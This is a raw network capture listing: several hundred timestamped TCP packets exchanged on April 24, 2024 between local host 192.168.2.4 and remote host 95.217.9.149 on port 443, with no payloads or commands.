Apr 24, 2024 10:27:28.104120016 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.106152058 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.131433010 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.131450891 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.131618977 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.131639004 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.131686926 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.163750887 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.163770914 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.163820982 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.163830042 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.163863897 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.163882017 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.190799952 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.190823078 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.190871000 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.190896988 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.190916061 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.190936089 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.220366955 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.220400095 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.220568895 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.220568895 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.220593929 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.222028017 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.247483969 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.247507095 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.247576952 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.247591019 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.249875069 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.270452023 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.270478010 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.270559072 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.270569086 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.270581961 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.270617962 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.297535896 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.297555923 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.297647953 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.297660112 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.297852993 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.318228960 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.318283081 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.318321943 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.318340063 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.318373919 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.318382025 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.343801975 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.343822956 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.343930960 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.343940020 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.345921993 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.362517118 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.362545967 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.362598896 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.362607002 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.362636089 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.362656116 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.385560036 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.385581017 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.385641098 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.385648966 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.385680914 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.385699987 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.406122923 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.406147957 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.406232119 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.406239986 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.406657934 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.424154997 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.424175024 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.424241066 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.424249887 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.426693916 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.445141077 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.445158958 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.445216894 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.445225954 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.445565939 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.463248968 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.463289976 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.463325024 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.463334084 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.463356972 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.463377953 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.477262020 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.477279902 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.477338076 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.477345943 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.477494001 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.493221998 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.493240118 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.493302107 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.493314028 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.493354082 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.509680986 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.509701967 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.509762049 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.509771109 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.509820938 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.523736954 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.523755074 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.523801088 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.523808956 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.523844004 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.523873091 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.538678885 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.538696051 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.538736105 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.538742065 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.538773060 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.538786888 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.552141905 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.552161932 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.552222013 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.552231073 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.552273035 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.566904068 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.566922903 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.566962004 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.566971064 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.566982031 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.567070007 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.579230070 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.579246998 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.579293013 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.579309940 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.579330921 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.579345942 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.594759941 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.594778061 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.594827890 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.594835997 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.594858885 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.594872952 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.607073069 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.607095957 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.607191086 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.607198954 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.607471943 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.617578983 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.617595911 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.617669106 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.617677927 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.617856026 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.630543947 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.630562067 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.630651951 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.630660057 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.633910894 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.638732910 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.638752937 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.638851881 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.638859987 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.641937971 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.652221918 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.652240992 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.652384043 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.652390957 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.654210091 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.662883997 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.662902117 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.663018942 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.663024902 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.663120031 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.674933910 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.674958944 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.675077915 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.675085068 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.675163984 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.682497978 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.682517052 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.682625055 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.682631969 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.682717085 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.698896885 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.698915958 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.699079037 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.699088097 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.699207067 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.704083920 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.704109907 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.704163074 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.704168081 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.704204082 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.704215050 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.715217113 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.715245962 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.715327978 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.715336084 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.717891932 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.722193956 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.722217083 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.722287893 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.722297907 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.722562075 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.731858969 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.731875896 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.731954098 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.731961966 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.732002020 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.740519047 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.740535975 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.740602016 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.740609884 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.743772030 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.755614996 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.755630970 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.755743027 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.755750895 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.755811930 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.764139891 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.764162064 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.764203072 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.764210939 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.764242887 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.764261007 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.772672892 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.772689104 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.772747040 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.772757053 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.772795916 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.778825998 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.778841972 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.778893948 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.778903961 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.778966904 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.785315037 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.785330057 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.785383940 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.785392046 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.785413027 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.785432100 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.795234919 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.795250893 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.795293093 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.795301914 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.795330048 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.795347929 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.805807114 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.805824041 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.805865049 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.805874109 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.805896044 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.805912971 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.810633898 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.810651064 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.810702085 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.810709953 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.810739994 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.810761929 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.820207119 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.820223093 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.820267916 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.820276022 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.820295095 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.820318937 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.827950001 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.827966928 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.828016996 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.828025103 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.831029892 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.833669901 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.833684921 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.833720922 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.833728075 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.833738089 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.833825111 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.841197014 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.841213942 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.841253042 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.841259956 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.841270924 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.841300011 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.850220919 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.850241899 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.850431919 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.850440979 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.850497007 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.859138012 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.859153986 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.859219074 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.859225035 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.863137960 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.863569021 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.863584042 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.863635063 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.863642931 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.863662004 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.863682032 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.874185085 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.874201059 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.874247074 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.874253035 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.874274969 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.874289036 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.880992889 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.881009102 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.881081104 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.881088972 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.883021116 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.889553070 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.889569998 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.889628887 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.889636993 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.891021013 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.892843008 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.892862082 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.892957926 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.892966986 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.895014048 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.899621010 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.899637938 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.899682045 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.899688959 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.899713993 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.899725914 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.910129070 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.910145044 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.910223007 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.910229921 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.910319090 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.917876005 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.917891979 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.917973042 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.917980909 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.918035984 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.925749063 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.925765038 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.925844908 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.925853014 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.925888062 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.931034088 CEST	443	49749	95.217.9.149	192.168.2.4
